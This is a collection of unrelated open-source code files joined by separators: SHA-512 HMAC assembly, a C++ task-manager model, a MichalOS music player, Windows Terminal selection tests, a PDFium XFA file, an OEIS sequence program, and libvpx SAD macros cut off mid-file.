vpextrq [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*lane + (2*I + 1)*SHA512_DIGEST_ROW_SIZE], xmm0, 1
%assign I (I+1)
%endrep
test len, ~127
jnz ge128_bytes
lt128_bytes:
VPINSRW_M256 state + _lens_sha512, xmm0, xmm1, tmp, lane, extra_blocks, scale_x16
lea tmp, [lane_data + _extra_block_sha512 + start_offset]
mov [state + _args_data_ptr_sha512 + PTR_SZ*lane], tmp ;; 8 to hold a UINT8
mov dword [lane_data + _extra_blocks_sha512], 0
ge128_bytes:
cmp unused_lanes, 0xf
jne return_null
jmp start_loop
align 32
start_loop:
; Find min length
vmovdqa xmm0, [state + _lens_sha512]
vphminposuw xmm1, xmm0
vpextrw DWORD(len2), xmm1, 0 ; min value
vpextrw DWORD(idx), xmm1, 1 ; min index (0...7)
cmp len2, 0
je len_is_0
vpshufb xmm1, [rel dupw] ; duplicate words across all 8 lanes
vpsubw xmm0, xmm0, xmm1
vmovdqa [state + _lens_sha512], xmm0
; "state" and "args" are the same address, arg1
; len is arg2
call sha512_x8_avx512
; state and idx are intact
len_is_0:
; process completed job "idx"
imul lane_data, idx, _SHA512_LANE_DATA_size
lea lane_data, [state + _ldata_sha512 + lane_data]
mov DWORD(extra_blocks), [lane_data + _extra_blocks_sha512]
cmp extra_blocks, 0
jne proc_extra_blocks
cmp dword [lane_data + _outer_done_sha512], 0
jne end_loop
proc_outer:
mov dword [lane_data + _outer_done_sha512], 1
mov DWORD(size_offset), [lane_data + _size_offset_sha512]
mov qword [lane_data + _extra_block_sha512 + size_offset], 0
VPINSRW_M256 state + _lens_sha512, xmm0, xmm1, tmp, idx, 1, scale_x16
lea tmp, [lane_data + _outer_block_sha512]
mov job, [lane_data + _job_in_lane_sha512]
mov [state + _args_data_ptr_sha512 + PTR_SZ*idx], tmp
%assign I 0
%rep (SHA_X_DIGEST_SIZE / (8 * 16))
vmovq xmm0, [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + (2*I + 0)*SHA512_DIGEST_ROW_SIZE]
vpinsrq xmm0, [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + (2*I + 1)*SHA512_DIGEST_ROW_SIZE], 1
vpshufb xmm0, [rel byteswap]
vmovdqa [lane_data + _outer_block_sha512 + I * 2 * SHA512_DIGEST_WORD_SIZE], xmm0
%assign I (I+1)
%endrep
mov tmp, [job + _auth_key_xor_opad]
%assign I 0
%rep 4
vmovdqu xmm0, [tmp + I * 16]
vmovq [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + (2*I+0)*SHA512_DIGEST_ROW_SIZE], xmm0
vpextrq [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + (2*I + 1)*SHA512_DIGEST_ROW_SIZE], xmm0, 1
%assign I (I+1)
%endrep
jmp start_loop
align 32
proc_extra_blocks:
mov DWORD(start_offset), [lane_data + _start_offset_sha512]
VPINSRW_M256 state + _lens_sha512, xmm0, xmm1, tmp, idx, extra_blocks, scale_x16
lea tmp, [lane_data + _extra_block_sha512 + start_offset]
mov [state + _args_data_ptr_sha512 + PTR_SZ*idx], tmp ;; idx is index of shortest length message
mov dword [lane_data + _extra_blocks_sha512], 0
jmp start_loop
align 32
copy_lt128:
;; less than one message block of data
;; destination extra block but backwards by len from where 0x80 pre-populated
lea p2, [lane_data + _extra_block + 128]
sub p2, len
memcpy_avx2_128_1 p2, p, len, tmp4, tmp2, ymm0, ymm1, ymm2, ymm3
mov unused_lanes, [state + _unused_lanes_sha512]
jmp end_fast_copy
return_null:
xor job_rax, job_rax
jmp return
align 32
end_loop:
mov job_rax, [lane_data + _job_in_lane_sha512]
mov unused_lanes, [state + _unused_lanes_sha512]
mov qword [lane_data + _job_in_lane_sha512], 0
or dword [job_rax + _status], IMB_STATUS_COMPLETED_AUTH
shl unused_lanes, 4
or unused_lanes, idx
mov [state + _unused_lanes_sha512], unused_lanes
mov p, [job_rax + _auth_tag_output]
%if (SHA_X_DIGEST_SIZE != 384)
cmp qword [job_rax + _auth_tag_output_len_in_bytes], 32
jne copy_full_digest
%else
cmp qword [job_rax + _auth_tag_output_len_in_bytes], 24
jne copy_full_digest
%endif
;; copy 32 bytes for SHA512 / 24 bytes for SHA384
mov QWORD(tmp), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 0*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp2), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 1*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp3), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 2*SHA512_DIGEST_ROW_SIZE]
%if (SHA_X_DIGEST_SIZE != 384)
mov QWORD(tmp4), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 3*SHA512_DIGEST_ROW_SIZE]
%endif
bswap QWORD(tmp)
bswap QWORD(tmp2)
bswap QWORD(tmp3)
%if (SHA_X_DIGEST_SIZE != 384)
bswap QWORD(tmp4)
%endif
mov [p + 0*8], QWORD(tmp)
mov [p + 1*8], QWORD(tmp2)
mov [p + 2*8], QWORD(tmp3)
%if (SHA_X_DIGEST_SIZE != 384)
mov [p + 3*8], QWORD(tmp4)
%endif
jmp clear_ret
copy_full_digest:
;; copy 64 bytes for SHA512 / 48 bytes for SHA384
mov QWORD(tmp), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 0*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp2), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 1*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp3), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 2*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp4), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 3*SHA512_DIGEST_ROW_SIZE]
bswap QWORD(tmp)
bswap QWORD(tmp2)
bswap QWORD(tmp3)
bswap QWORD(tmp4)
mov [p + 0*8], QWORD(tmp)
mov [p + 1*8], QWORD(tmp2)
mov [p + 2*8], QWORD(tmp3)
mov [p + 3*8], QWORD(tmp4)
mov QWORD(tmp), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 4*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp2), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 5*SHA512_DIGEST_ROW_SIZE]
%if (SHA_X_DIGEST_SIZE != 384)
mov QWORD(tmp3), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 6*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp4), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 7*SHA512_DIGEST_ROW_SIZE]
%endif
bswap QWORD(tmp)
bswap QWORD(tmp2)
%if (SHA_X_DIGEST_SIZE != 384)
bswap QWORD(tmp3)
bswap QWORD(tmp4)
%endif
mov [p + 4*8], QWORD(tmp)
mov [p + 5*8], QWORD(tmp2)
%if (SHA_X_DIGEST_SIZE != 384)
mov [p + 6*8], QWORD(tmp3)
mov [p + 7*8], QWORD(tmp4)
%endif
clear_ret:
%ifdef SAFE_DATA
;; Clear digest (48B/64B), outer_block (48B/64B) and extra_block (128B) of returned job
%assign J 0
%rep 6
mov qword [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + J*SHA512_DIGEST_ROW_SIZE], 0
%assign J (J+1)
%endrep
%if (SHA_X_DIGEST_SIZE != 384)
mov qword [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 6*SHA256_DIGEST_ROW_SIZE], 0
mov qword [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 7*SHA256_DIGEST_ROW_SIZE], 0
%endif
vpxorq zmm0, zmm0
imul lane_data, idx, _SHA512_LANE_DATA_size
lea lane_data, [state + _ldata_sha512 + lane_data]
;; Clear first 128 bytes of extra_block
vmovdqu64 [lane_data + _extra_block], zmm0
vmovdqu64 [lane_data + _extra_block + 64], zmm0
;; Clear first 48 bytes (SHA-384) or 64 bytes (SHA-512) of outer_block
%if (SHA_X_DIGEST_SIZE == 384)
vmovdqu64 [lane_data + _outer_block], ymm0
vmovdqa64 [lane_data + _outer_block + 32], xmm0
%else
vmovdqu64 [lane_data + _outer_block], zmm0
%endif
%endif ;; SAFE_DATA
return:
vzeroupper
mov rbx, [rsp + _gpr_save + 8*0]
mov rbp, [rsp + _gpr_save + 8*1]
mov r12, [rsp + _gpr_save + 8*2]
mov r13, [rsp + _gpr_save + 8*3]
mov r14, [rsp + _gpr_save + 8*4]
mov r15, [rsp + _gpr_save + 8*5]
%ifndef LINUX
mov rsi, [rsp + _gpr_save + 8*6]
mov rdi, [rsp + _gpr_save + 8*7]
%endif
mov rsp, [rsp + _rsp_save] ; original SP
ret
mksection stack-noexec
|
#include <libsystem/process/Process.h>
#include "task-manager/model/TaskModel.h"
namespace task_manager
{
enum Column
{
COLUMN_ID,
COLUMN_NAME,
COLUMN_STATE,
COLUMN_CPU,
COLUMN_RAM,
__COLUMN_COUNT,
};
int TaskModel::rows()
{
return _data.length();
}
int TaskModel::columns()
{
return __COLUMN_COUNT;
}
String TaskModel::header(int column)
{
switch (column)
{
case COLUMN_ID:
return "ID";
case COLUMN_NAME:
return "Name";
case COLUMN_STATE:
return "State";
case COLUMN_CPU:
return "CPU%";
case COLUMN_RAM:
return "RAM(Kio)";
default:
ASSERT_NOT_REACHED();
}
}
Variant TaskModel::data(int row, int column)
{
auto &task = _data.get((size_t)row);
switch (column)
{
case COLUMN_ID:
{
Variant value = task.get("id").as_integer();
if (task.get("user").is(json::TRUE))
{
return value.with_icon(Icon::get("account"));
}
else
{
return value.with_icon(Icon::get("cog"));
}
}
case COLUMN_NAME:
return task.get("name").as_string();
case COLUMN_STATE:
return task.get("state").as_string();
case COLUMN_CPU:
return Variant("%2d%%", task.get("cpu").as_integer());
case COLUMN_RAM:
return Variant("%5d Kio", task.get("ram").as_integer() / 1024);
default:
ASSERT_NOT_REACHED();
}
}
void TaskModel::update()
{
_data = json::parse_file("/System/processes");
did_update();
}
static String greedy(json::Value &data, const char *field)
{
size_t most_greedy_index = 0;
int most_greedy_value = 0;
for (size_t i = 0; i < data.length(); i++)
{
auto &task = data.get(i);
auto value = task.get(field).as_integer();
if (value > most_greedy_value)
{
most_greedy_index = i;
most_greedy_value = value;
}
}
return data
.get(most_greedy_index)
.get("name")
.as_string();
}
String TaskModel::ram_greedy()
{
return greedy(_data, "ram");
}
String TaskModel::cpu_greedy()
{
return greedy(_data, "cpu");
}
Result TaskModel::kill_task(int row)
{
return process_cancel(data(row, COLUMN_ID).as_int());
}
} // namespace task_manager |
; ------------------------------------------------------------------
; MichalOS Music Player
; ------------------------------------------------------------------
%INCLUDE "michalos.inc"
%INCLUDE "notelist.txt"
start:
cmp byte [terminalflag], 1 ; Were we passed a filename and ended the playback?
je .exit
call os_speaker_off
call .draw_background
cmp byte [0E0h], 0 ; Were we passed a filename?
je .no_file_chosen
mov byte [terminalflag], 1
mov ax, 0E0h
call os_string_uppercase
jmp .file_chosen
.no_file_chosen:
mov ax, .choice
mov bx, .choice_msg1
mov cx, .choice_msg2
mov si, .callback
call os_list_dialog_tooltip
jc .exit
cmp ax, 1
je near piano
cmp ax, 2
je near polypiano
cmp ax, 3
je near .play_file
cmp ax, 4
je near .play_duo
cmp ax, 5
je near .exit
.play_file:
mov byte [0087h], 1
mov bx, .extension_number
call os_file_selector ; Get filename
mov byte [0087h], 0
jc start
.file_chosen:
mov bx, ax ; Save filename for now
mov di, ax
call os_string_length
add di, ax ; DI now points to last char in filename
dec di
dec di
dec di ; ...and now to first char of extension!
pusha
mov si, .mmf_extension
mov cx, 3
rep cmpsb ; Does the extension contain 'MMF'?
je .valid_mmf_extension ; Skip ahead if so
popa
pusha
mov si, .dro_extension
mov cx, 3
rep cmpsb
je start_dro
popa
pusha
mov si, .drz_extension
mov cx, 3
rep cmpsb
je start_drz
popa
pusha
mov si, .rad_extension
mov cx, 3
rep cmpsb
je start_rad
popa
; Otherwise show error dialog
mov dx, 0 ; One button for dialog box
mov ax, .err_string
mov bx, .err_string2
mov cx, 0
call os_dialog_box
cmp byte [terminalflag], 1 ; Were we passed a filename and errored?
je .exit
jmp .play_file ; And retry
.valid_mmf_extension:
popa
call start_mono_mmf
jmp start
.play_duo:
mov ax, .duo_msg1
clr bx
clr cx
clr dx
call os_dialog_box
call .draw_background
mov byte [0087h], 1
mov bx, .poly_mmf_num
call os_file_selector ; Get the first filename
mov byte [0087h], 0
jc start
mov cx, buffer
call os_load_file
mov ax, .duo_msg2
clr bx
clr cx
clr dx
call os_dialog_box
call .draw_background
mov byte [0087h], 1
mov bx, .poly_mmf_num
call os_file_selector ; Get the second filename
mov byte [0087h], 0
jc start
mov cx, buffer2
call os_load_file
call start_poly_mmf
jmp start
.draw_background:
pusha
mov ax, .title_msg
mov bx, .footer_msg
mov cx, 256
call os_draw_background
popa
ret
.draw_clear_background:
pusha
mov ax, .title_msg
mov bx, .footer_msg_2
movzx cx, byte [57000]
call os_draw_background
popa
ret
.draw_player_background:
pusha
mov ax, .title_msg
mov bx, .footer_msg_3
mov cx, 256
call os_draw_background
popa
ret
.exit:
mov byte [0E0h], 0
call os_clear_screen
ret
jmp .play_file
.callback:
dec ax
shl ax, 1
mov bx, ax
mov si, [.listitems + bx]
mov dl, 42
call os_print_string_box
ret
.choice_msg1 db 'Choose an option...', 0
.choice_msg2 db 0
.choice db 'Monophonic piano (PC speaker),Polyphonic piano (Adlib),Play a file,Play duo (Adlib),Quit', 0
.listitems dw .listitem0, .listitem1, .listitem2, .listitem3, .listitem4
.listitem0 db 'A 2', 0ACh, ' octave keyboard-controlled', 13, 10, \
'piano.', 13, 10, 10, \
'It will use the PC speaker for', 13, 10, \
'sound output, so only one note', 13, 10, \
'may be played at a time.', 0
.listitem1 db 'A 2', 0ACh, ' octave keyboard-controlled', 13, 10, \
'piano.', 13, 10, 10, \
'It will use an Adlib device for', 13, 10, \
'sound output, so up to 9 notes', 13, 10, \
'may be played at a time.', 13, 10, 10, \
'Tip: If your computer is too new to', 13, 10, \
'have an actual Adlib card, you may', 13, 10, \
'select PC speaker emulation in the', 13, 10, \
'Settings app:', 13, 10, 10, \
'Sound ', 1Ah, ' Set Adlib device driver.', 0
.listitem2 db 'Play a compatible music file', 13, 10, \
'through the PC speaker or an Adlib', 13, 10, \
`device, based on the file's format.`, 13, 10, 10, \
'Compatible file formats:', 13, 10, \
'- MMF: MichalOS PCspk Music Format', 13, 10, \
'- DRO: DOSBox Adlib capture', 13, 10, \
'- RAD: Reality Adlib Tracker', 0
.listitem3 db 'Play 2 MMF (MichalOS PCspk Music', 13, 10, \
'Format) files at the same time', 13, 10, \
'through an Adlib device.', 0
.listitem4 db 'Quit the application.', 0
.duo_msg1 db 'Please select the first file.', 0
.duo_msg2 db 'Please select the second file.', 0
.title_msg db 'MichalOS Music Player', 0
.footer_msg db 0
.footer_msg_2 db '[Space] Mute all notes [Up/Down] Change octave', 0
.footer_msg_3 db '[Space] Play/Pause [Escape] Stop', 0
.octave db 4
.octavemsg db 'Octave: ', 0
.keydata1 db 2Ch, 2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 34h, 35h
.keydata2 db 1Fh, 20h, 22h, 23h, 24h, 26h, 27h
.keydata3 db 10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h, 18h, 19h, 1Ah, 1Bh
.keydata4 db 03h, 04h, 06h, 07h, 08h, 0Ah, 0Bh, 0Dh, 00h
.notedata1 dw C6, D6, E6, F6, G6, A6, B6, C7, D7, E7
.notedata2 dw CS6, DS6, FS6, GS6, AS6, CS7, DS7
.notedata3 dw C7, D7, E7, F7, G7, A7, B7, C8, D8, E8, F8, G8
.notedata4 dw CS7, DS7, FS7, GS7, AS7, CS8, DS8, FS8
.err_string db 'Invalid file type!', 0
.err_string2 db 'MMF, DRO 2.0 or RAD only!', 0
.extension_number db 4
.mmf_extension db 'MMF', 0
.dro_extension db 'DRO', 0
.drz_extension db 'DRZ', 0
.rad_extension db 'RAD', 0
.poly_mmf_num db 1
.mmf_extension_2 db 'MMF', 0
.adlib_msg1 db 'YM3812 not detected.', 0
.adlib_msg2 db 'Do you want to continue?', 0
.piano0 db 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 179, 13, 10
.piano1 db 32, 179, 32, 32, 32, 83, 32, 32, 32, 68, 32, 32, 32, 179, 32, 32, 32, 71, 32, 32, 32, 72, 32, 32, 32, 74, 32, 32, 32, 179, 32, 32, 32, 50, 32, 32, 32, 51, 32, 32, 32, 179, 32, 32, 32, 53, 32, 32, 32, 54, 32, 32, 32, 55, 32, 32, 32, 179, 32, 32, 32, 57, 32, 32, 32, 48, 32, 32, 32, 179, 32, 32, 32, 61, 32, 32, 32, 179, 13, 10
.piano2 db 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 179, 13, 10
.piano3 db 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 219, 32, 32, 32, 179, 32, 32, 32, 219, 32, 32, 32, 179, 13, 10
.piano4 db 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 32, 32, 32, 179, 13, 10
.piano5 db 32, 179, 32, 90, 32, 179, 32, 88, 32, 179, 32, 67, 32, 179, 32, 86, 32, 179, 32, 66, 32, 179, 32, 78, 32, 179, 32, 77, 32, 179, 32, 81, 32, 179, 32, 87, 32, 179, 32, 69, 32, 179, 32, 82, 32, 179, 32, 84, 32, 179, 32, 89, 32, 179, 32, 85, 32, 179, 32, 73, 32, 179, 32, 79, 32, 179, 32, 80, 32, 179, 32, 91, 32, 179, 32, 93, 32, 179, 13, 10
.piano6 db 32, 192, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 193, 196, 196, 196, 217, 0
terminalflag db 0
%include "player/libs.asm"
%include "player/dro.asm"
%include "player/monommf.asm"
%include "player/polymmf.asm"
%include "player/rad.asm"
%include "player/monopian.asm"
%include "player/polypian.asm"
%include "player/zx7.asm"
align 16
;test_module: incbin RAD_MODULE_NAME
buffer:
buffer2 equ buffer + 14000
; ------------------------------------------------------------------
|
/*
* Copyright (c) Microsoft Corporation.
* Licensed under the MIT license.
*
* This File was generated using the VisualTAEF C++ Project Wizard.
* Class Name: SelectionTest
*/
#include "precomp.h"
#include <WexTestClass.h>
#include "../cascadia/TerminalCore/Terminal.hpp"
#include "../renderer/inc/DummyRenderTarget.hpp"
#include "consoletaeftemplates.hpp"
using namespace WEX::Logging;
using namespace WEX::TestExecution;
using namespace Microsoft::Terminal::Core;
using namespace Microsoft::Console::Render;
namespace TerminalCoreUnitTests
{
class SelectionTest
{
TEST_CLASS(SelectionTest);
TEST_METHOD(SelectUnit)
{
Terminal term = Terminal();
DummyRenderTarget emptyRT;
term.Create({ 100, 100 }, 0, emptyRT);
// Simulate click at (x,y) = (5,10)
auto clickPos = COORD{ 5, 10 };
term.SetSelectionAnchor(clickPos);
// Simulate renderer calling TriggerSelection and acquiring selection area
auto selectionRects = term.GetSelectionRects();
// Validate selection area
VERIFY_ARE_EQUAL(selectionRects.size(), static_cast<size_t>(1));
auto selection = term.GetViewport().ConvertToOrigin(selectionRects.at(0)).ToInclusive();
VerifyCompareTraits<SMALL_RECT>::AreEqual({ 5, 10, 10, 5 }, selection);
}
TEST_METHOD(SelectArea)
{
Terminal term = Terminal();
DummyRenderTarget emptyRT;
term.Create({ 100, 100 }, 0, emptyRT);
// Used for two things:
// - click y-pos
// - keep track of row we're verifying
SHORT rowValue = 10;
// Simulate click at (x,y) = (5,10)
term.SetSelectionAnchor({ 5, rowValue });
// Simulate move to (x,y) = (15,20)
term.SetEndSelectionPosition({ 15, 20 });
// Simulate renderer calling TriggerSelection and acquiring selection area
auto selectionRects = term.GetSelectionRects();
// Validate selection area
VERIFY_ARE_EQUAL(selectionRects.size(), static_cast<size_t>(11));
auto viewport = term.GetViewport();
SHORT rightBoundary = viewport.RightInclusive();
for (auto selectionRect : selectionRects)
{
auto selection = viewport.ConvertToOrigin(selectionRect).ToInclusive();
if (rowValue == 10)
{
// Verify top line
VerifyCompareTraits<SMALL_RECT>::AreEqual({ 5, 10, rightBoundary, 10 }, selection);
}
else if (rowValue == 20)
{
// Verify bottom line
VerifyCompareTraits<SMALL_RECT>::AreEqual({ 0, 20, 15, 20 }, selection);
}
else
{
// Verify other lines (full)
VerifyCompareTraits<SMALL_RECT>::AreEqual({ 0, rowValue, rightBoundary, rowValue }, selection);
}
rowValue++;
}
}
TEST_METHOD(SelectBoxArea)
{
Terminal term = Terminal();
DummyRenderTarget emptyRT;
term.Create({ 100, 100 }, 0, emptyRT);
// Used for two things:
// - click y-pos
// - keep track of row we're verifying
SHORT rowValue = 10;
// Simulate ALT + click at (x,y) = (5,10)
term.SetSelectionAnchor({ 5, rowValue });
term.SetBoxSelection(true);
// Simulate move to (x,y) = (15,20)
term.SetEndSelectionPosition({ 15, 20 });
// Simulate renderer calling TriggerSelection and acquiring selection area
auto selectionRects = term.GetSelectionRects();
// Validate selection area
VERIFY_ARE_EQUAL(selectionRects.size(), static_cast<size_t>(11));
auto viewport = term.GetViewport();
for (auto selectionRect : selectionRects)
{
auto selection = viewport.ConvertToOrigin(selectionRect).ToInclusive();
// Verify all lines
VerifyCompareTraits<SMALL_RECT>::AreEqual({ 5, rowValue, 15, rowValue }, selection);
rowValue++;
}
}
TEST_METHOD(SelectAreaAfterScroll)
{
Terminal term = Terminal();
DummyRenderTarget emptyRT;
SHORT scrollbackLines = 5;
term.Create({ 100, 100 }, scrollbackLines, emptyRT);
// Used for two things:
// - click y-pos
// - keep track of row we're verifying
SHORT rowValue = 10;
// Simulate click at (x,y) = (5,10)
term.SetSelectionAnchor({ 5, rowValue });
// Simulate move to (x,y) = (15,20)
term.SetEndSelectionPosition({ 15, 20 });
// Simulate renderer calling TriggerSelection and acquiring selection area
auto selectionRects = term.GetSelectionRects();
// Validate selection area
VERIFY_ARE_EQUAL(selectionRects.size(), static_cast<size_t>(11));
auto viewport = term.GetViewport();
SHORT rightBoundary = viewport.RightInclusive();
for (auto selectionRect : selectionRects)
{
auto selection = viewport.ConvertToOrigin(selectionRect).ToInclusive();
if (rowValue == 10)
{
// Verify top line
VerifyCompareTraits<SMALL_RECT>::AreEqual({ 5, 10, rightBoundary, 10 }, selection);
}
else if (rowValue == 20)
{
// Verify bottom line
VerifyCompareTraits<SMALL_RECT>::AreEqual({ 0, 20, 15, 20 }, selection);
}
else
{
// Verify other lines (full)
VerifyCompareTraits<SMALL_RECT>::AreEqual({ 0, rowValue, rightBoundary, rowValue }, selection);
}
rowValue++;
}
}
};
} |
// Copyright 2017 PDFium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Original code copyright 2014 Foxit Software Inc. http://www.foxitsoftware.com
#include "xfa/fxfa/parser/cxfa_extras.h"
#include "fxjs/xfa/cjx_extras.h"
#include "third_party/base/ptr_util.h"
namespace {
const CXFA_Node::AttributeData kExtrasAttributeData[] = {
{XFA_Attribute::Id, XFA_AttributeType::CData, nullptr},
{XFA_Attribute::Name, XFA_AttributeType::CData, nullptr},
{XFA_Attribute::Use, XFA_AttributeType::CData, nullptr},
{XFA_Attribute::Usehref, XFA_AttributeType::CData, nullptr},
{XFA_Attribute::Unknown, XFA_AttributeType::Integer, nullptr}};
constexpr wchar_t kExtrasName[] = L"extras";
} // namespace
CXFA_Extras::CXFA_Extras(CXFA_Document* doc, XFA_PacketType packet)
: CXFA_Node(doc,
packet,
(XFA_XDPPACKET_SourceSet | XFA_XDPPACKET_Template |
XFA_XDPPACKET_Form),
XFA_ObjectType::Node,
XFA_Element::Extras,
nullptr,
kExtrasAttributeData,
kExtrasName,
pdfium::MakeUnique<CJX_Extras>(this)) {}
CXFA_Extras::~CXFA_Extras() {}
|
; A266337: Expansion of b(3)*b(4)/(1 - 2*x + x^5), where b(k) = (1-x^k)/(1-x).
; Submitted by Christian Krause
; 1,4,11,25,52,104,204,397,769,1486,2868,5532,10667,20565,39644,76420,147308,283949,547333,1055022,2033624,3919940,7555931,14564529,28074036,54114448,104308956,201061981,387559433,747044830,1439975212,2775641468,5350220955,10312882477,19878720124,38317465036,73859288604,142368356253,274423830029,528968939934,1019620414832,1965381541060,3788394725867,7302365621705,14075762303476,27131904192120,52298426843180,100808458960493,194314552299281,374553342295086,721974780398052,1391651133952924
mov $2,1
mov $3,1
lpb $0
sub $0,1
add $3,1
add $5,$1
mov $1,$3
add $1,1
sub $3,$4
mov $4,$2
mov $2,$3
add $5,2
add $5,$4
mov $3,$5
add $3,2
lpe
mov $0,$5
add $0,1
|
;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
%include "vpx_ports/x86_abi_support.asm"
%macro PROCESS_16X2X3 1
%if %1
movdqa xmm0, XMMWORD PTR [rsi]
lddqu xmm5, XMMWORD PTR [rdi]
lddqu xmm6, XMMWORD PTR [rdi+1]
lddqu xmm7, XMMWORD PTR [rdi+2]
psadbw xmm5, xmm0
psadbw xmm6, xmm0
psadbw xmm7, xmm0
%else
movdqa xmm0, XMMWORD PTR [rsi]
lddqu xmm1, XMMWORD PTR [rdi]
lddqu xmm2, XMMWORD PTR [rdi+1]
lddqu xmm3, XMMWORD PTR [rdi+2]
psadbw xmm1, xmm0
psadbw xmm2, xmm0
psadbw xmm3, xmm0
paddw xmm5, xmm1
paddw xmm6, xmm2
paddw xmm7, xmm3
%endif
movdqa xmm0, XMMWORD PTR [rsi+rax]
lddqu xmm1, XMMWORD PTR [rdi+rdx]
lddqu xmm2, XMMWORD PTR [rdi+rdx+1]
lddqu xmm3, XMMWORD PTR [rdi+rdx+2]
lea rsi, [rsi+rax*2]
lea rdi, [rdi+rdx*2]
psadbw xmm1, xmm0
psadbw xmm2, xmm0
psadbw xmm3, xmm0
paddw xmm5, xmm1
paddw xmm6, xmm2
paddw xmm7, xmm3
%endmacro
%macro PROCESS_8X2X3 1
%if %1
movq mm0, QWORD PTR [rsi]
movq mm5, QWORD PTR [rdi]
movq mm6, QWORD PTR [rdi+1]
movq mm7, QWORD PTR [rdi+2]
psadbw mm5, mm0
psadbw mm6, mm0
psadbw mm7, mm0
%else
movq mm0, QWORD PTR [rsi]
movq mm1, QWORD PTR [rdi]
movq mm2, QWORD PTR [rdi+1]
movq mm3, QWORD PTR [rdi+2]
psadbw mm1, mm0
psadbw mm2, mm0
psadbw mm3, mm0
paddw mm5, mm1
paddw mm6, mm2
paddw mm7, mm3
%endif
movq mm0, QWORD PTR [rsi+rax]
movq mm1, QWORD PTR [rdi+rdx]
movq mm2, QWORD PTR [rdi+rdx+1]
movq mm3, QWORD PTR [rdi+rdx+2]
lea rsi, [rsi+rax*2]
lea rdi, [rdi+rdx*2]
psadbw mm1, mm0
psadbw mm2, mm0
psadbw mm3, mm0
paddw mm5, mm1
paddw mm6, mm2
paddw mm7, mm3
%endmacro
%macro LOAD_X4_ADDRESSES 5
mov %2, [%1+REG_SZ_BYTES*0]
mov %3, [%1+REG_SZ_BYTES*1]
mov %4, [%1+REG_SZ_BYTES*2]
mov %5, [%1+REG_SZ_BYTES*3]
%endmacro
%macro PROCESS_16X2X4 1
%if %1
movdqa xmm0, XMMWORD PTR [rsi]
lddqu xmm4, XMMWORD PTR [rcx]
lddqu xmm5, XMMWORD PTR [rdx]
lddqu xmm6, XMMWORD PTR [rbx]
lddqu xmm7, XMMWORD PTR [rdi]
psadbw xmm4, xmm0
psadbw xmm5, xmm0
